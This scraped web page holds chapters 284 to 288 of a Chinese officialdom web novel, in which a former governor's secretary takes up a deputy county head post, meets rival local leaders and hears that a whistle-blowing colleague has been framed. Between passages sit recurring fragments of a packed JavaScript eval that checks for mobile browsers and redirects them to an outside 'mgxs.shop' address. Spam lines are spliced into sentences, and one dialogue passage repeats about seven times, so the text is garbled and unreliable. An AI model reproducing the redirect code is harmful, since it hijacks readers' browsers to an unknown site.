l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204659|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方感受到自己的价值,和未来发展的空间。 如果李承把自己说成一个贫困县副县长,一辈子没什么晋升空间那种,石山水也会对李承的形象大打折扣。 “不错,很有发展嘛,看来老孟是准备重点培养你呀,哈哈哈。”石山水笑呵呵地说。 “领导很关照我。” 李承没有谦虚,他要表明孟良德对他的重视,这样,娇娇也可能得到更多的特殊关照。 “石哥,我表妹比较年轻,刚接触销售工作,还得多麻烦您帮我照顾一下。”李承道。 “一定的, 听说看这本书的人都是很幸运的,分享后你的运气会更棒 这就是自家妹妹。” 两个人闲聊了半个小时左右,娇娇办理好了入职,被杨秘书带了回来。 恺奥医疗有员工宿舍,在石山水的安排下,娇娇分到了一个单间。 李承帮着她把行李搬了进去,便告辞离开。 接下来的几天。 李承在将自己的物品搬走后,没再去过单位,他的调令已经下来了,等着去风林县报道就行。 曾经那个省长秘书间,已经不再是李承的办公室。 李承用这几天时间,尽情地去享受与许梦的二人时光。 当秘书这大半年里,李承基本没怎么休息后,哪怕是假期,也要提心吊胆,担心会不会有突发事件发生。 这几天里,李承过得格外踏实,也格外开心。 除了许梦要去主持节目的时间,两个人基本形影不离。 许梦和李承有一点是相同的。 都属于那种比较宅的人,没有什么娱乐活动能够吸引他们两个。 他们一致认为,躺在家里的温存,比任何外界活动都有意思。 快乐的时光总是短暂的。 时间一晃就到了周一,李承也踏上了前往滨西市的高铁。 “老公,你要经常回来看我,好不好。” 车站,许梦泪水不止,紧紧拥抱着李承。 每天朝夕相处,突然身边少了一个爱的人陪伴,她很悲伤。 “嗯,我会的,别哭啦,哭就不美了。” 第284章 见面会 到达滨西市。 周安特意安排了专车和秘书来接李承。 周安很会做人,他知道孟良德将李承调派到风林县,是重用。 作为一位省部级(正职)领导的心腹,周安不会怠慢,尤其周安也受过孟良德的恩惠。 他算是半个孟良德派系的人。 主动示好李承,也是对孟良德的一种示好。 到达**大院,在周安秘书的引领下,李承先来到组织部进行报道。 “于部长,这位就是李承,李处长。” 齐秘书带李承到达组织部长办公室,将他介绍给于男。 “李承同志,很高兴你能来我们滨西市工作。” 于男站起身,跟李承打了一个招呼。 如果只是一个普普通通的处级干部,不值得他起身示好。 但李承身份不同,这是上面领导指派下来的。 “于部长,您好。” 李承上前一步,跟于男握了握手,笑容温和。 “坐。” 于男松开手后,做了一个请的手势。 李承坐在他对面,从公文包里,将省里的介绍信递给于男。 于男接过介绍信,笑呵呵地拿起了办公桌上的电话,对李承说:“稍等一下。” “好。” 于男按下一个号码,接通后,他说:“来我办公室一趟。” 说完,他直接挂断了电话。 “李承同志,孟省长他身体怎么样呀?”于男关心地询问。 像他这种地级市的副厅级干部,基本接触不到孟良德。 这句询问,也就是闲聊。 “身体挺好的,我的身体素质都不如他呢,呵呵呵”李承半开玩笑地回答道。 “呵呵呵那就好。” 于男温和一笑,继续问:“省长这次回京,到了哪个部门任职?” “财政部部长。”李承说。 “看来组织很重视孟省长,又要高升啦。” 听到孟良德的去处,于男对李承的态度更加柔和,甚至带着些许的谄媚。 省长和国家财务部长,虽是平级调动。 但属于重用,进入权力中枢。 孟良德去财务部当部长,极大概率,未来是要进国的。 那是于男这种领导,可望而不可即的级别。 “**是一位有能力有抱负的人,他能再进一步,也是全国百姓的福音。”李承说。 ‘咚咚咚’ 两 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 个人聊天时,办公室的门被敲响。 一个中年男人走了进来:“于部长。 “这是李处长的介绍信,你去落实一下。 “是。 男人接过介绍信,离开了办公室。 省组织部开具介绍信后,还需要市里核实,市里再开具一份介绍信和任职文件。 这是必走的流程。 流程很快,他们早有准备,十几分钟的时间,所有材料已经开具好。 副县长任职,市组织部会有领导陪同。 于男为了给李承留下好印象,准备亲自去送。 两个人客气了一番,一同起身,朝着门外走去。 刚出了办公室,周安和齐秘书迎面走了过来。 “李承同志,欢迎。 两人走到面前时,周安伸出手,表示欢迎。 “谢谢周**。李承跟他握了下手,客气一番。 “你坐我的车,我送你去风林县。周安道。 “嗯,那就麻烦周**了。 周全在这个时间赶到,就证明,对方相送不是一句客气话。 李承索性也就不谦让了。 他也希望周全能够送他,李承在风林县没有根基,周安如果能送他,这样,方便他日后开展工作。 ****亲自送人任职,这代表的是一种**立场! 那些县委**,那些本地派,也都会掂量掂量李承的分量。 他这次去风林县,是要做出一番事业的。 李承可不想像王革一样,被架空限制,成为一个傀儡! **一号专车送李承任职的消息,很快传到了风林县领导班子的耳中。 当专车开进县委大院,以县委**王革,县长陈红旗为首的主要领导,统统站在一楼门口迎接。 大家几番寒暄后,进入大会议室。 新领导任职,要举办县领导班子见面会,也就算是欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204660|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迎会。 会议室内,周安坐在中间位置。 王革坐在他的左边,于男坐在他的右边,而李承就坐在于男的身边。 会议开始。 由于男率先讲话,宣读**任命文件。 “经**研究决定,任命李承同志为风林县县委**,副县长,兼风林产业园区管委会主任。 下面,我介绍一下李承同志的简历. 接下来,关于李承的年龄,籍贯,学历,哪年哪月入党,哪年哪月参加工作,在什么期间,任职过什 你的朋友正在书荒,快去帮帮他吧 么岗位,什么时间提拨升职,一一介绍而出。 ‘哗啦啦’ 于男讲话结束后,下面响起一片掌声。 紧接着,是****周全的讲话。 “我代表**欢迎李承同志来到我市下属县参加工作。 风林产业园区的建设,是省委省政府的重点扶持对象,省里安排李承同志过来负责,是省委省政府对他的高度认可,是带着丰富的经验过来的。 所以呀,我也请各位县领导们,要对李承同志的工作多支持,多配合。” 周安声音轻飘,语气随和。 可这番话,是给李承最大的站场。 他在告知那些县领导班子,李承背景雄厚,不要乱惹麻烦。 这番话说完,周安目光看向李承,说:“李承同志,产业园区是风林县脱贫的关键。 你肩膀上的担子很重,希望你能尽快进入角色,熟悉情况,将产业园区做出一番成绩。” 周安讲完话,县委**王革又做出一番讲话。 也都是官场上的场面话,跟周安的话大差不差,就是欢迎和压担子。 到最后,是李承的讲话。 李承清了清嗓子,开始了他的演讲。 李承很讨厌讲官话,他觉得,那都是些废话。 但是在一些必要环境,就需要长篇大论讲这些废话。 作为省长的秘书,李承给孟良德批改和撰写了很多篇演讲稿。 对于官话的套用,他早就炉火纯青。 “各位领导,同志们,十分感谢组织上的信任,任命我到风林县担任副县长,及产业园区管委会主任” 第285章 **被调查 “在今后的工作中,我会始终把**建设摆在首位,坚决贯彻落实中央,省、市、县委的各项决策部署。 自觉在思想上,**上,行动上与县委保持高度一致。 同时,我会.” 李承接下来的讲话,把话说得够全面,也够漂亮。 旗帜鲜明地讲了**立场。 虚心学习快速融入工作。 抓实干,担责任,立志于完成产业园区建设,实现脱贫攻坚。 维护大局团结,守护**稳定。 严守纪律红线,坦荡做官,永葆党员的**本色。 ‘哗啦啦’ 在李承讲话结束,周安率先带头鼓掌。 有****的撑场子,其余人也不敢怠慢,纷纷附和,掌声雷动。 这次县领导的见面会,也到此结束。 “周**,今天辛苦您专程跑一趟,为我们县带来一位优秀干部。 时间也不早了,晚上县里简单安排个工作餐,一方面是欢迎李承同志到我县工作,另一方面,请您给我们一个汇报,学习的机会。” 会议结束,王革走到周安的身旁,邀请他一同留下共进晚餐。 “不了,**还有事情要处理,你们吃吧。” 周安摆了摆手,婉拒了王革的邀请。 周安以工作为由拒绝,王革也不好继续强留,一行人将**领导送出县委大院。 李承刚到风林县工作,他还需要跟县委县政府的一把手,熟悉一下,进行一次单独的谈话。 县委**办公室。 王革主动给李承递了一个香烟:“李承同志,省里能安排你过来主持产业园区的建设,是企业和百姓的福音呀。” 王革对李承示好,既是看重李承的背景。 也是看重李承的个人职权。 王革这个县委**做的窝囊,县委**基本都是陈红旗的人。 县委是决策层,县政府管落实,管钱袋子。 作为决策层一把手,决策权却不在他的手里,他处于完全被架空的状态。 这些日子,他一直装傻充愣,不做任何反抗,但并不代表他准备摆烂,只是没有合适的反击机会。 李承是县委**,又有省领导的支持,这让王革看到了机会。 “谢谢。” 李承接过香烟,道了声谢,说:“王**,在来之前我了解过县里的情况,尤其是在产业园区的方面。 大半年的时间过去了,产业园区一直 没有太大进展,阻力是什么?” 阻力是什么,李承心知肚明。 上次**县长去省政府控告过陈红旗,孟良德也下达了严肃的整顿指令。 问题的根源,就是出在陈红旗这些本地派身上。 但李承新官上任,他不能直接点出陈红旗的问题,需要从王革的口中说出后,李承再去接话。 “陈县长的发展理念过于落后,只务实于眼前利益,导致很多企业都不愿意与县里合作。 上次,林县长跑过一次省里,情况短期好转了些,但风声过了,又恢复了常态。 那些企业家也被县政府折腾怕了,没了信任。” 王革吸了一口烟,叹气一声:“李承同志,你肩膀上的责任很重,想要改变现状的困难很大。 但我个人,一定会给予你全力的支持,配合你的工作。” 王革的态度,始终都是谦卑的。 他说的是个人,而非县委。 这也侧面更加验证了他的处境,他这位县委**,代表不了县委。 “王**您言重了,是我配合您和县委的工作。”李承微微一笑,谦虚地说。 “呵呵呵” 闻言,王革不置可否地笑了笑,没有多言。 他很羡慕李承的背景,如果他拥有一位省部级领导撑腰,他不会是今天的处境。 同时,他心里也对李承多了一份好感。 人,都会有傲气,会恃宠而骄。 李承之前是省长的秘书,是东江省政府的‘二号**’。 李承跟在孟良德身边,接触的人物,最起码也都是厅局级领导。 像他这位县委**,正处级干部,以前连跟李承近面谈话的机会都没有。 在那样的工作环境下工作过,又有省部级领导做背景,李承到达他们这个小县城,还能以谦卑姿态面对他们,快速投入到副县长的角色里,这是很难得的。 “狼来了的故事听多了,唉,确实不好办了。” 李承弹了弹烟灰,想到接下来的工作,眉头也不禁皱起。 风林产业园区的发展前景很好。 但经过陈红旗的折腾,不仅耽搁了时间,还丢掉了口碑。 李承面临的难题,不再是最开始的从0到1。 而是从负数到正数的质变与颠覆。 “这个重担,我无法扛起,就看你了。”王革道。 “对了王**,今天怎么没有看到林县长出席。”李承问。 林 青作为副县长,在这场见面会里,应该出席,可李承并没有见到她的身影。 “林县长正在停职接受调查。” 王革吸掉最后一口烟,将烟头按灭在烟灰缸内。 听到这个消息,李承眉头皱得更紧。 李承虽与**接触不多,但仅凭这位女县长,敢冒着得罪县里一言堂的实权领导,也要跑到省里告状的勇气。 李承认为,这是一位好领导。 “她怎么了?”李承沉声问。 “有人举报她在产业园区建设问题上,存在**,涉案金额三十万,纪委已经立案调查。”王革道。 “有实质性证据了?” 正常情况下,一位副县长**,在纪委核查阶段,一般会继续任职。 到了停职的阶段,就证明,问题很严重了,并且已经有了一定的证据。 “嗯,从她公婆家里,的确搜查到了这笔钱。”王革说。 “王**,您相信**会**吗?”李承沉默了几秒,看向王革,问。 “我不相信,可事实证据摆在那里,我保不住她。” 王革叹了一口气:“她这个人,脾气火爆了些,但不是会**的人。” **一直都是王革拉拢的对象。 因为**骨子里是正直的,她不愿意跟陈红旗等人同流合污! “您觉得,跟她去省里,有关系吗?” 青作为副县长,在这场见面会里,应该出席,可李承并没有见到她的身影。 “林县长正在停职接受调查。” 王革吸掉最后一口烟,将烟头按灭在烟灰缸内。 听到这个消息,李承眉头皱得更紧。 李承虽与**接触不多,但仅凭这位女县长,敢冒着得罪县里一言堂的实权领导,也要跑到省里告状的勇气。 李承认为,这是一位好领导。 “她怎么了?”李承沉声问。 “有人举报她在产业园区建设问题上,存在**,涉案金额三十万,纪委已经立案调查。”王革道。 “有实质性证据了?” 正常情况下,一位副县长**,在纪委核查阶段,一般会继续任职。 到了停职的阶段,就证明,问题很严重了,并且已经有了一定的证据。 “嗯,从她公婆家里,的确搜查到了这笔钱。”王革说。 “王**,您相信**会**吗?”李承沉默了几秒,看向王革,问。 “我不相信,可事实证据摆在那里,我保不住她。” 王革叹了一口气:“她这个人,脾气火爆了些,但不是会**的人。” **一直都是王革拉拢的对象。 因为**骨子里是正直的,她不愿意跟陈红旗等人同流合污! “您觉得,跟她去省里,有关系吗?” 青作为副县长,在这场见面会里,应该出席,可李承并没有见到她的身影。 “林县长正在停职接受调查。” 王革吸掉最后一口烟,将烟头按灭在烟灰缸内。 听到这个消息,李承眉头皱得更紧。 李承虽与**接触不多,但仅凭这位女县长,敢冒着得罪县里一言堂的实权领导,也要跑到省里告状的勇气。 李承认为,这是一位好领导。 “她怎么了?”李承沉声问。 “有人举报她在产业园区建设问题上,存在**,涉案金额三十万,纪委已经立案调查。”王革道。 “有实质性证据了?” 正常情况下,一位副县长**,在纪委核查阶段,一般会继续任职。 到了停职的阶段,就证明,问题很严重了,并且已经有了一定的证据。 “嗯,从她公婆家里,的确搜查到了这笔钱。”王革说。 “王**,您相信**会**吗?”李承沉默了几秒,看向王革,问。 “我不相信,可事实证据摆在那里,我保不住她。” 王革叹了一口气:“她这个人,脾气火爆了些,但不是会**的人。” **一直都是王革拉拢的对象。 因为**骨子里是正直的,她不愿意跟陈红旗等人同流合污! “您觉得,跟她去省里,有关系吗?” 青作为副县长,在这场见面会里,应该出席,可李承并没有见到她的身影。 “林县长正在停职接受调查。” 王革吸掉最后一口烟,将烟头按灭在烟灰缸内。 听到这个消息,李承眉头皱得更紧。 李承虽与**接触不多,但仅凭这位女县长,敢冒着得罪县里一言堂的实权领导,也要跑到省里告状的勇气。 李承认为,这是一位好领导。 “她怎么了?”李承沉声问。 “有人举报她在产业园区建设问题上,存在**,涉案金额三十万,纪委已经立案调查。”王革道。 “有实质性证据了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204661|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正常情况下,一位副县长**,在纪委核查阶段,一般会继续任职。 到了停职的阶段,就证明,问题很严重了,并且已经有了一定的证据。 “嗯,从她公婆家里,的确搜查到了这笔钱。”王革说。 “王**,您相信**会**吗?”李承沉默了几秒,看向王革,问。 “我不相信,可事实证据摆在那里,我保不住她。” 王革叹了一口气:“她这个人,脾气火爆了些,但不是会**的人。” **一直都是王革拉拢的对象。 因为**骨子里是正直的,她不愿意跟陈红旗等人同流合污! “您觉得,跟她去省里,有关系吗?” 青作为副县长,在这场见面会里,应该出席,可李承并没有见到她的身影。 “林县长正在停职接受调查。” 王革吸掉最后一口烟,将烟头按灭在烟灰缸内。 听到这个消息,李承眉头皱得更紧。 李承虽与**接触不多,但仅凭这位女县长,敢冒着得罪县里一言堂的实权领导,也要跑到省里告状的勇气。 李承认为,这是一位好领导。 “她怎么了?”李承沉声问。 “有人举报她在产业园区建设问题上,存在**,涉案金额三十万,纪委已经立案调查。”王革道。 “有实质性证据了?” 正常情况下,一位副县长**,在纪委核查阶段,一般会继续任职。 到了停职的阶段,就证明,问题很严重了,并且已经有了一定的证据。 “嗯,从她公婆家里,的确搜查到了这笔钱。”王革说。 “王**,您相信**会**吗?”李承沉默了几秒,看向王革,问。 “我不相信,可事实证据摆在那里,我保不住她。” 王革叹了一口气:“她这个人,脾气火爆了些,但不是会**的人。” **一直都是王革拉拢的对象。 因为**骨子里是正直的,她不愿意跟陈红旗等人同流合污! “您觉得,跟她去省里,有关系吗?” 青作为副县长,在这场见面会里,应该出席,可李承并没有见到她的身影。 “林县长正在停职接受调查。” 王革吸掉最后一口烟,将烟头按灭在烟灰缸内。 听到这个消息,李承眉头皱得更紧。 李承虽与**接触不多,但仅凭这位女县长,敢冒着得罪县里一言堂的实权领导,也要跑到省里告状的勇气。 李承认为,这是一位好领导。 “她怎么了?”李承沉声问。 “有人举报她在产业园区建设问题上,存在**,涉案金额三十万,纪委已经立案调查。”王革道。 “有实质性证据了?” 正常情况下,一位副县长**,在纪委核查阶段,一般会继续任职。 到了停职的阶段,就证明,问题很严重了,并且已经有了一定的证据。 “嗯,从她公婆家里,的确搜查到了这笔钱。”王革说。 “王**,您相信**会**吗?”李承沉默了几秒,看向王革,问。 “我不相信,可事实证据摆在那里,我保不住她。” 王革叹了一口气:“她这个人,脾气火爆了些,但不是会**的人。” **一直都是王革拉拢的对象。 因为**骨子里是正直的,她不愿意跟陈红旗等人同流合污! “您觉得,跟她去省里,有关系吗?” 青作为副县长,在这场见面会里,应该出席,可李承并没有见到她的身影。 “林县长正在停职接受调查。” 王革吸掉最后一口烟,将烟头按灭在烟灰缸内。 听到这个消息,李承眉头皱得更紧。 李承虽与**接触不多,但仅凭这位女县长,敢冒着得罪县里一言堂的实权领导,也要跑到省里告状的勇气。 李承认为,这是一位好领导。 “她怎么了?”李承沉声问。 “有人举报她在产业园区建设问题上,存在**,涉案金额三十万,纪委已经立案调查。”王革道。 “有实质性证据了?” 正常情况下,一位副县长**,在纪委核查阶段,一般会继续任职。 到了停职的阶段,就证明,问题很严重了,并且已经有了一定的证据。 “嗯,从她公婆家里,的确搜查到了这笔钱。”王革说。 “王**,您相信**会**吗?”李承沉默了几秒,看向王革,问。 “我不相信,可事实证据摆在那里,我保不住她。” 王革叹了一口气:“她这个人,脾气火爆了些,但不是会**的人。” **一直都是王革拉拢的对象。 因为**骨子里是正直的,她不愿意跟陈红旗等人同流合污! “您觉得,跟她去省里,有关系吗?” 第286章 联络员 “您觉得,跟她去省里有关系吗? 李承眼神冷淡下去,他个人感觉,**应该是被诬陷。 这与她去省里告状有直接关系。 **去过省里后,孟良德给滨西市进行了施压。 这直接损害了陈红旗的形象,以及他们本地派系的利益。 作为一言堂领导,多半是陈红旗容不得**这个麻烦,也怕**再去省里告他的状,这才采用了最为卑劣的手段。 “这个,我不敢断言。王革摇了摇头,说。 “嗯。 李承认为**是被诬陷,但也只是他个人感觉。 李承也不会凭借感觉,就去干涉什么。 人性是复杂的。 仅仅凭借感觉,就去判定一个人的好坏,这不是一个为官者的正确理念。 跟王革又浅谈了一番,聊了聊产业园区的发展和情况后,李承告辞离开。 他还要去见一趟陈红旗。 新官上任,跟县委县政府的两个一把手谈话,是要走的过程。 “晚上我让你嫂子在家里做几个好菜,给你接风。王革邀请李承道。 “开完见面会陈红旗就联系了我,王**,您要不要一起? 李承婉拒后,询问道。 陈红旗率先对他发出了邀请,并且,陈红旗才是风林县的‘真正’一把手。 无论如何,李承还是要多跟他接触。 这不是站队。 是为了工作开展的必要性! “不了,那你们去吃,改天我们再聚。 王革和陈红旗不合,除非有上面领导来,不然他们两个人不会出现在一个宴会上。 “嗯,下次一定。 李承冲他微微一笑,起身告辞。 风林县是贫困县。 县委和县政府,都在一个大院之内。 只不过,不在同一个办公楼里。 走出王革的办公室,李承拿出手机,上面有很多条许梦发来的消息。 李承直接给她拨了一通电话过去。 ‘嘟嘟..嘟.’ 电话很快接听,那边传来许梦略显委屈的声音:“老公,你怎么才回我消息,我都想死你了 “刚开完县领导见面会,又跟县委**聊了一下工作,待会儿还有去见一趟县长。 李承解释了原因。 他知道,手机一直在震动是许梦发来的消息。 可在这种公务场合下,他也不好拿 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 出手机,去回复许梦。 “好吧,那你想不想我呀?许梦委屈巴巴地问。 “想呀,特别想。 李承看一眼身旁,确定没有人后,表达出自己的想念。 他是新任副县长,在工作场所,要保持自己领导的威严形象,情情爱爱这种话,不能被听见。 可能会被嚼舌根。 “我一点都不开心,家里就剩我一个人了,唉.刚才睡了一觉,一睁眼天都暗了,那一瞬间我感觉整个世界都把我遗弃了。 许梦可怜兮兮的声音,让李承恨不得飞回到她身边,给她一个拥抱。 “怎么会呢?就算全世界不要你了,你还有我呢。李承安慰她道。 “哼,你也不要我了,跑去那么远的地方工作。许梦轻哼一声。 “这不是工作调动吗?我也没办法,我也想留在汉江呀。 李承并没有将孟良德给出明月新区发改委副局长的事情告诉许梦。 如果让许梦知道,会成为阻碍,也会让她心里不舒服。 所以,在这件事上,李承选择了隐瞒。 “我想好了,等你在那边稳定下来,我就辞职过去找你。 许梦认真地说。 “嗯,行,我养你。 许梦有多思念她,他就有多想念许梦。 他希望许梦能来。 两个人又情深意切地煲了会儿电话粥,李承就已经走到了县政府楼下。 “宝宝,我先不跟你说了,我去见一下县长,待会儿给你回。李承道。 “嗯知道了。 挂断电话,李承进入县政府大楼。 他还是第一次进来,并不知道县长办公室在几楼。 “你好,我想问一下陈县长办公室在几楼哪个室?正好有一个漂亮女人路过,李承向她打听道。 “三楼,上了楼梯右手边,第三个办公室。女人温柔地回答道。 “谢谢。 李承冲她微笑点头,准备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210402|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迈步上楼。 “您是新来的李县长吗? “是。 “李县长您好,我叫刘婷,是您的联络员。刘婷笑着说。 副县长不配备专职秘书,所谓的联络员,其实就是工作秘书。 听到对方是自己的秘书,李承的目光不由多在她身上打量几眼。 她年纪看起来二十五六岁的样子,不属于那种一眼惊艳的美女。 但骨子里,却 你的朋友正在书荒,快去帮帮他吧 带着股这个年纪少有的成熟韵味。 瓜子脸,高鼻梁,大眼睛,长相十分耐看,皮肤雪白,在这个小县城里,绝对称得上大美女。 她的打扮很成熟,职业裙装,穿着黑色丝袜,将那双修长笔直的腿,衬托得更加诱人。 “嗯,你好。”李承微微一笑。 “我带您去陈县长办公室。” “好。” 在刘婷的引领下,李承来到了陈红旗办公室门口。 ‘咚咚咚’ 李承敲响房门,李承传来陈红旗的声音:“进。” 李承推门而进,笑呵呵地跟陈红旗打了声招呼:“陈县长。” “呀!是李承同志,过来坐。” 陈红旗表现出一副惊喜的样子,热情招呼着李承坐。 但这份热情是虚伪的。 他压根连屁股都没有抬起来,依旧稳坐在他的办公椅上。 李承到了王革的办公室,和**组织部长于男的办公室,对方都会起身迎接,握手。 可陈红旗的架子却十足。 “陈县长,我刚到风林县,以后在工作上,还要您多多关照啊,哈哈哈.” 李承坐在他的对面,心里有些不满,但表情平和。 “都是同志,为了党和国家的发展,谈不上关照。”陈红旗摆了摆手,两人唠的是客套话。 “听说孟省长回京城任职了?”陈红旗问。 他关心的,不是什么工作开展,而是**背景。 “嗯。” 陈红旗端起一个大茶缸,喝了一口,说:“孟省长回京任职,怎么没把你调到京城去? 京城那是权力中心,发展空间多大啊,不像我们小小的风林县,一辈子都难熬出头。” 第287章 ‘能干”的女人 李承知道,陈红旗这是在试探自己! 他心中不禁腹诽一句:****都来给我站台了,你心里还不清楚怎么回事吗?居然还要试探我和孟良德的关系! “我才跟孟省长不到一年的时间,他以前不少老部下都想跟他回京呢,论资历也排不上我。 李承谦虚地说。 他也是迷惑陈红旗。 既然对方要试探他和孟良德的远近,那就往远了说,李承倒是想看看,这个陈红旗能搞出什么幺蛾子。 “呵呵呵李县长太谦虚了。 闻言,陈红旗轻笑了几声:“李县长,组织将你任命为产业园区的管委会主任,是要让你担起带领风林县脱贫致富的重任。 我代表县委县政府会支持的你工作。 陈红旗话说得很漂亮,也给李承身上压了一个重担。 但这个重担,李承从决定来风林县发展时,就已经选择接下! 除此之外,陈红旗这番话中,也展露出他在风林县的‘霸主’地位。 能够代表县委县政府的,只有一个人,那就是县委**。 县长没有权利代表县委的意见。 可陈红旗说了。 这就证明,在陈红旗的眼里,县委和县政府,都是他的一言堂! “陈 正当李承准备开口,用官腔回应陈红旗时,他再次开口,打断了李承。 “同时,我也希望李县长能够配合我的工作,配合县委县政府的发展理念! 陈红旗用一种近乎不容置疑的语气,向李承传达了一种命令。 什么叫配合县委县政府的理念? 那不就是想让李承做一个听话的傀儡,继续去维护他的利益和权威。 这一点,换做其他人来担任管委会主任,或许面对这位‘一言堂’领导会妥协。 但是,李承绝对不会! 如果他妥协,那么,他这辈子的仕途也就毁了。 陈红旗对产业园区的发展理念,完全是在走下坡路,是在毁掉省里给风林县创造的大好机会! 李承如果听他的,虽说能省去很多斗争风险,但到最后,产业园区项目流产,省里投资付诸东流,背锅的人,还是李承这位管委会主任。 “嗯,我会配合。 李承心里不悦,嘴上还是笑呵呵地答应着。 说是一码事,做是另一码事,这就是官场。 “呵呵呵不愧是省长秘书出身,这个思想觉悟就是很高嘛。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 陈红旗调侃了一句。 这句话听在李承耳朵里像是一种讽刺。 “李县长我给你安排一个联络员是个大美人小姑娘年轻能干。” 陈红旗在‘能干’二字里加重了语气。 同为男人李承明白陈红旗的暗示。 刘婷不仅是李承的联络员还是陈红旗给李承找的情人。 当然陈红旗没那个好心他想用女人来拿捏李承。 “我把她叫过来让她带你熟悉一个办公室和住宿环境。” 陈红旗说着准备拿起办公桌上的座机去拨通电话。 “不麻烦了马县长我刚才见到了这位联络员她应该还在外面等我。” 在上楼时刘婷说过会等李承出来 “怎么样?对于这个联络员满意吗?” 陈红旗脸上流露出一种猥琐的笑容冲李承挑了挑眉毛完全没有一个县长的威严。 他口中的满意是问李承对于刘婷身材相貌的满意而非工作。 陈红旗觉得男人都有需求。 李承独自一人来风林县也需要一个女人的陪伴和‘释放压力’。 只要李承接受了刘婷那就等于与他站在了同一条船上。 “接触的很少具体要看工作水平。”李承装傻充愣地说。 “这是县里不是省城没有那么多约束李县长你还是需要一段时间来融入新环境哈哈” 陈红旗笑吟吟地道。 他这番话是将山高皇帝远展现得淋漓尽致。 是呀! 风林县贫困一直以来都属于姥姥不疼舅舅不爱的那种属于被‘遗忘’的县城。 正所谓穷山恶水出刁民这种情况也就会让个别县领导把自己当成土皇帝放肆而露骨。 “嗯确实需要多熟悉。” 李承点头出言告辞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210403|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“那我先不打扰陈县长工作了我去熟悉一下。” “去吧晚上六点凤玺楼等你吃饭刘婷知道位置让她带你来。”陈红旗冲李承摆了摆手笑呵呵地说。 出了县长办公室刘婷正站在门口玩手机。 看到李承出来她立马收起手机笑嘻嘻地说:“李县长接下来我带你去熟悉一下环境?” “好。” 李承答应一声他对刘婷已经从心底里升起了一抹疏远和忌惮。 刘婷是陈红旗安插在他身边的眼线这个人要 听说看这本书的人都是很幸运的,分享后你的运气会更棒 严防! 但在严防她的同时,还要在不突破底线的情况下,适当给一些甜头,要达到那种若即若离的感觉,才能让陈红旗安心。 这需要一个度! 毕竟,陈红旗在风林县属于一言堂,李承在工作上需要他的支持,不能得罪。 虽说,李承有孟良德作为背景,可李承总不能遇到麻烦,就去找孟良德解决。 那样,李承的能力,将在孟良德心中大打折扣。 至于周安和冯坤,也是不到万不得已,不能去求得他们的帮助,他们是滨西市的一,二号领导,不是李承的私人助理。 这些背景能给李承的支持,无非是在李承不违反纪律的红线下,保证李承的岗位和职权不变! 剩下的斗争,还要看李承自己的本事。 在刘婷的带领下,李承熟悉了办公室的环境,又去了他的宿舍。 宿舍就在县委大院的附近,步行七八分钟的距离。 是一个两室一厅的房子,大概七八十平。 装修有些落后,但设备齐全,电视机,冰箱,空调,洗衣机,煤气等应有尽有。 属于拎包入住。 “李县长,被褥都是我昨天去给你买的,床单被罩买过后,我又洗了一遍,可以放心使用。” 刘婷站在李承身边,体贴地笑着。 “多少钱,我给你。”李承问。 “不用,政府已经报销过了,再给就重复了,我帮您把衣服挂上。” 刘婷说着,准备去拉开李承的皮箱,帮助李承整理行李。 第288章 酒宴 李承当过秘书,出差时,帮孟良德整理过行李,但还没有被下属这么贴心地服务过。 一时间,有些不适应。 李承也没有阻拦,任由她去做这些事情。 对方有意接近自己,李承总要让对方放松警惕,给对方一个希望。 整理衣物,并不违反原则,可以让她做。 “领导,您看起来这么严肃的一个人,居然还穿卡通睡衣,派大星,太可爱了吧,哈哈哈。” 刘婷在整理到睡衣时,忍不住的笑出了声音。 